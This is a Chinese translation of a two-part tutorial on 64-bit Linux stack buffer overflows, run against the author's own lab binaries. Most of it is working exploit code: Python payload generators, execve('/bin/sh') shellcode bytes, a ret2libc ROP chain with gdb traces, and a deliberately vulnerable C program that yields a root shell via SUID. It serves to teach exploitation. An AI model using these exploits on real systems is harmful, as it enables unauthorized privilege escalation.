这一系列的文章目的在于快速介绍对缓冲区溢出(在64位下linux二进制程序)弱点的利用。
该系列教程适合人群为:熟悉利用32位二进制程序并想应用它们的知识来利用64位二进制程序。
该教程是长期的零散笔记,整理总结成的结果。
在64位与32位linux平台下编写其二进制的利用程序区别不大,然而我们将遇到一些陷阱,学习这种技术最好的方法是实践它,因此我鼓励你跟着教程一起实践。
我将在Unbuntu14.10下编译有弱点的二进制且编写利用程序,我也将提供预编译的二进制程序。这篇教程将使用如下工具:
为了学习这篇教程,你应该知道如下几点:
知道更多信息当然很棒,所以尽情google搜寻关于64位架构和汇编编程的信息吧,Wikipedia有一篇简短的文章值得一读.
让我们开始于一个典型的崩栈例子,我们将关闭ASLR,NX,和stack canaries保护机制,因此我们可以专注真实的利用。
有弱点的二进制程序源码如下:
/* Compile: gcc -fno-stack-protector -z execstack classic.c -o classic */ /* Disable ASLR: echo 0 > /proc/sys/kerne/randomize_va_space */ #include <stdio.h> #include <unistd.h> int vuln() { char buf[80]; int r; r = read(0, buf, 400); printf("\nRead %d bytes. buf is %s\n", r, buf); puts("No shell for you :("); return 0; } int main(int argc, char *argv[]) { printf("Try to exec /bin/sh"); vuln(); return 0; }
你也可以在这里获取预编译好的二进制程序
当read()将400字节复制到一个80字节的buffer时,显然在vuln()中存在缓冲区溢出弱点。
因此从技术角度看,如果我们将400个字节传递到其中,我们应该可以溢出缓冲区并用我们的payload覆盖RIP,对吗?构造一段exploit内容如下:
#!/usr/bin/env python buf = "" buf += "A"*400 f = open("in.txt", "w") f.write(buf)
这个脚本将创建一个命名为”in.txt”的文件(含有400个“A”字符),我们将典例加载进gdb并将in.txt的内容重定向到典例中,同时我们看看是否可以覆盖RIP:
gdb-peda$ r < in.txt Try to exec /bin/sh Read 400 bytes. buf is AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA� No shell for you :( Program received signal SIGSEGV, Segmentation fault. [----------------------------------registers-----------------------------------] RAX: 0x0 RBX: 0x0 RCX: 0x7ffff7b015a0 (<__write_nocancel+7>: cmp rax,0xfffffffffffff001) RDX: 0x7ffff7dd5a00 --> 0x0 RSI: 0x7ffff7ff5000 ("No shell for you :(\nis ", 'A' <repeats 92 times>"\220, \001\n") RDI: 0x1 RBP: 0x4141414141414141 ('AAAAAAAA') RSP: 0x7fffffffe508 ('A' <repeats 200 times>...) RIP: 0x40060f (<vuln+73>: ret) R8 : 0x283a20756f792072 ('r you :(') R9 : 0x4141414141414141 ('AAAAAAAA') R10: 0x7fffffffe260 --> 0x0 R11: 0x246 R12: 0x4004d0 (<_start>: xor ebp,ebp) R13: 0x7fffffffe600 ('A' <repeats 48 times>, "|\350\377\377\377\177") R14: 0x0 R15: 0x0 EFLAGS: 0x10246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0x400604 <vuln+62>: call 0x400480 <puts@plt> 0x400609 <vuln+67>: mov eax,0x0 0x40060e <vuln+72>: leave => 0x40060f <vuln+73>: ret 0x400610 <main>: push rbp 0x400611 <main+1>: mov rbp,rsp 0x400614 <main+4>: sub rsp,0x10 0x400618 <main+8>: mov DWORD PTR [rbp-0x4],edi [------------------------------------stack-------------------------------------] 0000| 0x7fffffffe508 ('A' <repeats 200 times>...) 0008| 0x7fffffffe510 ('A' <repeats 200 times>...) 0016| 0x7fffffffe518 ('A' <repeats 200 times>...) 0024| 0x7fffffffe520 ('A' <repeats 200 times>...) 0032| 0x7fffffffe528 ('A' <repeats 200 times>...) 0040| 0x7fffffffe530 ('A' <repeats 200 times>...) 0048| 0x7fffffffe538 ('A' <repeats 200 times>...) 0056| 0x7fffffffe540 ('A' <repeats 200 times>...) [------------------------------------------------------------------------------] Legend: code, data, rodata, value Stopped reason: SIGSEGV 0x000000000040060f in vuln ()
因此程序正如意料中的那样崩掉了,但是毫无意义。因为我们已覆盖的RIP带有一个无效地址,事实上我们没控制到RIP。因为我更早意识到最大地址是0x00007FFFFFFFFFFF。我们可以用一个非标准地址(0x0000414141414141)覆盖RIP(将造成处理器发生异常).为了控制RIP,我们需要用0x0000414141414141覆盖(代替)它,因此真正的目标是找到覆盖了RIP的偏移(带有一个非标准地址)。我们可以使用一种cyclic模板找到这个偏移:
gdb-peda$ pattern_create 400 in.txt Writing pattern of 400 chars to filename "in.txt"
让我们再次运行它并检查RSP的内容:
gdb-peda$ r < in.txt Try to exec /bin/sh Read 400 bytes. buf is AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKA� No shell for you :( Program received signal SIGSEGV, Segmentation fault. [----------------------------------registers-----------------------------------] RAX: 0x0 RBX: 0x0 RCX: 0x7ffff7b015a0 (<__write_nocancel+7>: cmp rax,0xfffffffffffff001) RDX: 0x7ffff7dd5a00 --> 0x0 RSI: 0x7ffff7ff5000 ("No shell for you :(\nis AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKA\220\001\n") RDI: 0x1 RBP: 0x416841414c414136 ('6AALAAhA') RSP: 0x7fffffffe508 ("A7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAnAASAAoAATAApAAUAAqAAVAArAAWAAsAAXAAtAAYAAuAAZAAvAAwAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6"...) RIP: 0x40060f (<vuln+73>: ret) R8 : 0x283a20756f792072 ('r you :(') R9 : 0x4147414131414162 ('bAA1AAGA') R10: 0x7fffffffe260 --> 0x0 R11: 0x246 R12: 0x4004d0 (<_start>: xor ebp,ebp) R13: 0x7fffffffe600 ("A%nA%SA%oA%TA%pA%UA%qA%VA%rA%WA%sA%XA%tA%YA%uA%Z|\350\377\377\377\177") R14: 0x0 R15: 0x0 EFLAGS: 0x10246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0x400604 <vuln+62>: call 0x400480 <puts@plt> 0x400609 <vuln+67>: mov eax,0x0 0x40060e <vuln+72>: leave => 0x40060f <vuln+73>: ret 0x400610 <main>: push rbp 0x400611 <main+1>: mov rbp,rsp 0x400614 <main+4>: sub rsp,0x10 0x400618 <main+8>: mov DWORD PTR [rbp-0x4],edi [------------------------------------stack-------------------------------------] 0000| 0x7fffffffe508 ("A7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAnAASAAoAATAApAAUAAqAAVAArAAWAAsAAXAAtAAYAAuAAZAAvAAwAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6"...) 0008| 0x7fffffffe510 ("AA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAnAASAAoAATAApAAUAAqAAVAArAAWAAsAAXAAtAAYAAuAAZAAvAAwAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%"...) 0016| 0x7fffffffe518 ("jAA9AAOAAkAAPAAlAAQAAmAARAAnAASAAoAATAApAAUAAqAAVAArAAWAAsAAXAAtAAYAAuAAZAAvAAwAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA"...) 0024| 0x7fffffffe520 ("AkAAPAAlAAQAAmAARAAnAASAAoAATAApAAUAAqAAVAArAAWAAsAAXAAtAAYAAuAAZAAvAAwAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%j"...) 0032| 0x7fffffffe528 ("AAQAAmAARAAnAASAAoAATAApAAUAAqAAVAArAAWAAsAAXAAtAAYAAuAAZAAvAAwAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%"...) 0040| 0x7fffffffe530 ("RAAnAASAAoAATAApAAUAAqAAVAArAAWAAsAAXAAtAAYAAuAAZAAvAAwAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA"...) 0048| 0x7fffffffe538 ("AoAATAApAAUAAqAAVAArAAWAAsAAXAAtAAYAAuAAZAAvAAwAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%R"...) 0056| 0x7fffffffe540 ("AAUAAqAAVAArAAWAAsAAXAAtAAYAAuAAZAAvAAwAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%nA%SA%"...)
[------------------------------------------------------------------------------]
我们可以清晰地在栈上看到我们的cyclic模板.让我们找到偏移:
gdb-peda$ x/wx $rsp 0x7fffffffe508: 0x41413741 gdb-peda$ pattern_offset 0x41413741 1094793025 found at offset: 104
因此,RIP在偏移104上.让我们更新我们的利用程序并看看我们这次是否可以覆盖RIP:
#!/usr/bin/env python from struct import * buf = "" buf += "A"*104 # offset to RIP buf += pack("<Q", 0x424242424242) # overwrite RIP with 0x0000424242424242 buf += "C"*290 # padding to keep payload length at 400 bytes f = open("in.txt", "w") f.write(buf)
运行它以创建一个已更新的in.txt文件,然后将其重定向在gdb内的程序中:
gdb-peda$ r < in.txt Try to exec /bin/sh Read 400 bytes. buf is AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA� No shell for you :( Program received signal SIGSEGV, Segmentation fault. [----------------------------------registers-----------------------------------] RAX: 0x0 RBX: 0x0 RCX: 0x7ffff7b015a0 (<__write_nocancel+7>: cmp rax,0xfffffffffffff001) RDX: 0x7ffff7dd5a00 --> 0x0 RSI: 0x7ffff7ff5000 ("No shell for you :(\nis ", 'A' <repeats 92 times>"\220, \001\n") RDI: 0x1 RBP: 0x4141414141414141 ('AAAAAAAA') RSP: 0x7fffffffe510 ('C' <repeats 200 times>...) RIP: 0x424242424242 ('BBBBBB') R8 : 0x283a20756f792072 ('r you :(') R9 : 0x4141414141414141 ('AAAAAAAA') R10: 0x7fffffffe260 --> 0x0 R11: 0x246 R12: 0x4004d0 (<_start>: xor ebp,ebp) R13: 0x7fffffffe600 ('C' <repeats 48 times>, "|\350\377\377\377\177") R14: 0x0 R15: 0x0 EFLAGS: 0x10246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] Invalid $PC address: 0x424242424242 [------------------------------------stack-------------------------------------] 0000| 0x7fffffffe510 ('C' <repeats 200 times>...) 0008| 0x7fffffffe518 ('C' <repeats 200 times>...) 0016| 0x7fffffffe520 ('C' <repeats 200 times>...) 0024| 0x7fffffffe528 ('C' <repeats 200 times>...) 0032| 0x7fffffffe530 ('C' <repeats 200 times>...) 0040| 0x7fffffffe538 ('C' <repeats 200 times>...) 0048| 0x7fffffffe540 ('C' <repeats 200 times>...) 0056| 0x7fffffffe548 ('C' <repeats 200 times>...) [------------------------------------------------------------------------------] Legend: code, data, rodata, value Stopped reason: SIGSEGV 0x0000424242424242 in ?? ()
很棒,我们已经彻底控制了RIP。
因为该程序没有NX或stack canaries保护机制,所以我们可以直接在栈上编写我们的shellcode然后返回到shellcode上。
让我们继续前进并完成它,我们将使用一段27字节的shellcode(执行execve(“/bin/sh”),在这可以找到.
我们将通过一个环境变量把shellcode存储在栈中并用getenvaddr在栈上找到其地址.
koji@pwnbox:~/classic$ export PWN=`python -c 'print "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"'` koji@pwnbox:~/classic$ ~/getenvaddr PWN ./classic PWN will be at 0x7fffffffeefa
我们将更新我们的利用以在0x7fffffffeefa上返回到我们的shellcode:
#!/usr/bin/env python from struct import * buf = "" buf += "A"*104 buf += pack("<Q", 0x7fffffffeefa) f = open("in.txt", "w") f.write(buf)
确保改变我们的所有权并将典例的权限改成SUID(root),因此我们可以得到我们的root shell:
koji@pwnbox:~/classic$ sudo chown root classic koji@pwnbox:~/classic$ sudo chmod 4755 classic
最后,我们将更新in.txt并将我们的payload输送进典例中:
koji@pwnbox:~/classic$ python ./sploit.py koji@pwnbox:~/classic$ (cat in.txt ; cat) | ./classic Try to exec /bin/sh Read 112 bytes. buf is AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAp No shell for you :( whoami root
我们已得到一个root shell,因此我们已成功利用。主要的陷阱在于我们需要留意最大的地址大小,否则我们将不能控制RIP,这总结了教程的第一部分。本文由安全脉搏Deily原创翻译。
第一部分相当简单,因此在第二部分我们将使用相同的二进制程序,这次将在只开启了NX机制的情况下编译它,这将防止我们在栈上执行指令,因此到时将看到我们使用ret2libc得到root shell.敬请期待!
在第一部分中我们已利用了64位二进制文件的典型栈溢出弱点且了解到我们不能盲目期待用带有字节的buffer覆盖RIP。
在第一部分我们关掉了ASLR,NX,和stack canary,所以我们可以专注利用而不是绕过这些安全特性。这次我们将开启NX并看到我们可使用ret2libc的方法利用相同的二进制.
搭建的环境和第一部分中使用的环境一致.这里也将使用到如下工具:
在第一部分我们已利用相同的二进制程序.唯一不同的是我们将开启NX(让我们上次的利用失效),因为现在栈不可执行.
/* Compile: gcc -fno-stack-protector ret2libc.c -o ret2libc */ /* Disable ASLR: echo 0 > /proc/sys/kerne/randomize_va_space */ #include <stdio.h> #include <unistd.h> int vuln() { char buf[80]; int r; r = read(0, buf, 400); printf("\nRead %d bytes. buf is %s\n", r, buf); puts("No shell for you :("); return 0; } int main(int argc, char *argv[]) { printf("Try to exec /bin/sh"); vuln(); return 0; }
你也可以在这获取预编译好的二进制
在32位二进制程序中,一次ret2lib攻击(创建一个伪造栈帧),让函数可调用libc内的函数,并传递任意它需要的参数.有代表性的是这将返回到system()并让其执行“/bin/sh”.
在64位二进制程序中,函数参数被传递到寄存器里,因此,不需要伪造栈帧.第一次传递的6个参数依次被传递到RDI,RSI ,RDX, RCX,R8和R9.超出的任意数据都会被传递到栈.这意味着在返回到我们的函数前(libc中选定的),我们需要确保用预期的函数参数正确配置寄存器值.如果你不熟悉ROP,不要担心,我们将不会深入讲解.
我们将开始于一段简明的利用(返回到system()并执行”/bin/sh”).需要一些东西:
让我们开始寻找system()的地址吧.这在GDB中很容易完成.
gdb-peda$ start . . . gdb-peda$ p system $1 = {<text variable, no debug info>} 0x7ffff7a5ac40 <system>
我们只要简单搜索一个“/bin/sh”指针.
gdb-peda$ find "/bin/sh" Searching for '/bin/sh' in: None ranges Found 3 results, display max 3 items: ret2libc : 0x4006ff --> 0x68732f6e69622f ('/bin/sh') ret2libc : 0x6006ff --> 0x68732f6e69622f ('/bin/sh') libc : 0x7ffff7b9209b --> 0x68732f6e69622f ('/bin/sh')
前两个指针是来自于字符串的,它位于二进制程序(打印出“Try to exec /bin/sh”).第三个指针来自libc本身,实际上,如果你确实能访问libc,请尽情使用它即可.在该情况下,我们开始执行于第一个指针(在0x4006ff上).
现在我们需要一个gadget(将0x4006ff复制到RDI).我们可以用ropper搜索gadget.让我们看看是否可以找到任意使用EDI或RDI的指令:
koji@pwnbox:~/ret2libc$ ropper --file ret2libc --search "% ?di" Gadgets ======= 0x0000000000400520: mov edi, 0x601050; jmp rax; 0x000000000040051f: pop rbp; mov edi, 0x601050; jmp rax; 0x00000000004006a3: pop rdi; ret ; 3 gadgets found
第三个gadget完美从栈中弹出进入RDI.我们现在已有一切构造利用的材料:
#!/usr/bin/env python from struct import * buf = "" buf += "A"*104 # junk buf += pack("<Q", 0x00000000004006a3) # pop rdi; ret; buf += pack("<Q", 0x4006ff) # pointer to "/bin/sh" gets popped into rdi buf += pack("<Q", 0x7ffff7a5ac40) # address of system() f = open("in.txt", "w") f.write(buf)
该利用将我们的payload写进in.txt(在gdb内,我们可以重定向进二进制程序).让我们快速检查一下:
让我们用gdb查看它的活动.我们将在vuln()的返回指令上设置断点:
gdb-peda$ br *vuln+73 Breakpoint 1 at 0x40060f
现在我们将payload重定向到二进制程序,我们的第一个断点将被击中:
gdb-peda$ r < in.txt Try to exec /bin/sh Read 128 bytes. buf is AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA� No shell for you :( [-------------------------------------code-------------------------------------] 0x400604 <vuln+62>: call 0x400480 <puts@plt> 0x400609 <vuln+67>: mov eax,0x0 0x40060e <vuln+72>: leave => 0x40060f <vuln+73>: ret 0x400610 <main>: push rbp 0x400611 <main+1>: mov rbp,rsp 0x400614 <main+4>: sub rsp,0x10 0x400618 <main+8>: mov DWORD PTR [rbp-0x4],edi [------------------------------------stack-------------------------------------] 0000| 0x7fffffffe508 --> 0x4006a3 (<__libc_csu_init+99>: pop rdi) 0008| 0x7fffffffe510 --> 0x4006ff --> 0x68732f6e69622f ('/bin/sh') 0016| 0x7fffffffe518 --> 0x7ffff7a5ac40 (<system>: test rdi,rdi) 0024| 0x7fffffffe520 --> 0x0 0032| 0x7fffffffe528 --> 0x7ffff7a37ec5 (<__libc_start_main+245>: mov edi,eax) 0040| 0x7fffffffe530 --> 0x0 0048| 0x7fffffffe538 --> 0x7fffffffe608 --> 0x7fffffffe827 ("/home/koji/ret2libc/ret2libc") 0056| 0x7fffffffe540 --> 0x100000000 [------------------------------------------------------------------------------] Legend: code, data, rodata, value Breakpoint 1, 0x000000000040060f in vuln ()
我们可以意识到RSP指向0x4006a3(我们的ROP gadget).步入,同时我们将返回到我们的gadget(位于我们现在可以执行pop rdi的位置).
gdb-peda$ si . . . [-------------------------------------code-------------------------------------] => 0x4006a3 <__libc_csu_init+99>: pop rdi 0x4006a4 <__libc_csu_init+100>: ret 0x4006a5: data32 nop WORD PTR cs:[rax+rax*1+0x0] 0x4006b0 <__libc_csu_fini>: repz ret [------------------------------------stack-------------------------------------] 0000| 0x7fffffffe510 --> 0x4006ff --> 0x68732f6e69622f ('/bin/sh') 0008| 0x7fffffffe518 --> 0x7ffff7a5ac40 (<system>: test rdi,rdi) 0016| 0x7fffffffe520 --> 0x0 0024| 0x7fffffffe528 --> 0x7ffff7a37ec5 (<__libc_start_main+245>: mov edi,eax) 0032| 0x7fffffffe530 --> 0x0 0040| 0x7fffffffe538 --> 0x7fffffffe608 --> 0x7fffffffe827 ("/home/koji/ret2libc/ret2libc") 0048| 0x7fffffffe540 --> 0x100000000 0056| 0x7fffffffe548 --> 0x400610 (<main>: push rbp) [------------------------------------------------------------------------------] Legend: code, data, rodata, value 0x00000000004006a3 in __libc_csu_init ()
步入,RDI现在应该含有一个“/bin/sh”指针:
gdb-peda$ si [----------------------------------registers-----------------------------------] . . . RDI: 0x4006ff --> 0x68732f6e69622f ('/bin/sh') . . . [-------------------------------------code-------------------------------------] 0x40069e <__libc_csu_init+94>: pop r13 0x4006a0 <__libc_csu_init+96>: pop r14 0x4006a2 <__libc_csu_init+98>: pop r15 => 0x4006a4 <__libc_csu_init+100>: ret 0x4006a5: data32 nop WORD PTR cs:[rax+rax*1+0x0] 0x4006b0 <__libc_csu_fini>: repz ret 0x4006b2: add BYTE PTR [rax],al 0x4006b4 <_fini>: sub rsp,0x8 [------------------------------------stack-------------------------------------] 0000| 0x7fffffffe518 --> 0x7ffff7a5ac40 (<system>: test rdi,rdi) 0008| 0x7fffffffe520 --> 0x0 0016| 0x7fffffffe528 --> 0x7ffff7a37ec5 (<__libc_start_main+245>: mov edi,eax) 0024| 0x7fffffffe530 --> 0x0 0032| 0x7fffffffe538 --> 0x7fffffffe608 --> 0x7fffffffe827 ("/home/koji/ret2libc/ret2libc") 0040| 0x7fffffffe540 --> 0x100000000 0048| 0x7fffffffe548 --> 0x400610 (<main>: push rbp) 0056| 0x7fffffffe550 --> 0x0 [------------------------------------------------------------------------------] Legend: code, data, rodata, value 0x00000000004006a4 in __libc_csu_init ()
现在RIP指向ret且RSP指向system()的地址.再次步入,我们现在应该位于system().
gdb-peda$ si . . . [-------------------------------------code-------------------------------------] 0x7ffff7a5ac35 <cancel_handler+181>: pop rbx 0x7ffff7a5ac36 <cancel_handler+182>: ret 0x7ffff7a5ac37: nop WORD PTR [rax+rax*1+0x0] => 0x7ffff7a5ac40 <system>: test rdi,rdi 0x7ffff7a5ac43 <system+3>: je 0x7ffff7a5ac50 <system+16> 0x7ffff7a5ac45 <system+5>: jmp 0x7ffff7a5a770 <do_system> 0x7ffff7a5ac4a <system+10>: nop WORD PTR [rax+rax*1+0x0] 0x7ffff7a5ac50 <system+16>: lea rdi,[rip+0x13744c] # 0x7ffff7b920a3
在这时,如果我们继续执行,我们应看到 “/bin/sh” 已执行
gdb-peda$ c [New process 11114] process 11114 is executing new program: /bin/dash Error in re-setting breakpoint 1: No symbol table is loaded. Use the "file" command. Error in re-setting breakpoint 1: No symbol "vuln" in current context. Error in re-setting breakpoint 1: No symbol "vuln" in current context. Error in re-setting breakpoint 1: No symbol "vuln" in current context. [New process 11115] Error in re-setting breakpoint 1: No symbol "vuln" in current context. process 11115 is executing new program: /bin/dash Error in re-setting breakpoint 1: No symbol table is loaded. Use the "file" command. Error in re-setting breakpoint 1: No symbol "vuln" in current context. Error in re-setting breakpoint 1: No symbol "vuln" in current context. Error in re-setting breakpoint 1: No symbol "vuln" in current context. [Inferior 3 (process 11115) exited normally] Warning: not running or target is remote
看来我们的利用可正常工作.让我们试试它是否可得到root shell.我们将改变ret2libc的持有者和权限让其是SUID root
koji@pwnbox:~/ret2libc$ sudo chown root ret2libc koji@pwnbox:~/ret2libc$ sudo chmod 4755 ret2libc
现在让我们像第一部分所做的那样执行我们的利用:
koji@pwnbox:~/ret2libc$ (cat in.txt ; cat) | ./ret2libc Try to exec /bin/sh Read 128 bytes. buf is AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAA� No shell for you :( whoami root
再次得到我们的root shell,同时我们已绕过NX.现在这个利用相对简明(只需要一个参数).如果我们需要更多那会如何?接着在返回一个libc中的函数前,我们需要找到更多gadgets(相应地配置寄存器), 如果你想挑战自己,那么重写利用以让其调用execve()而不是system().execve()需要三个参数.
int execve(const char *filename, char *const argv[], char *const envp[]);
这意味着在调用execve()函数之前,你将需要有位于RDI,RSI和RCX中的专属值.试试仅在二进制本身使用gadgets.即不在libc中寻找gadgets.好运!
【英文:64-bit-linux-stack-smashing-tutorial-part-1 & 64-bit-linux-stack-smashing-tutorial-part-2 原创翻译:安全脉搏Deily 】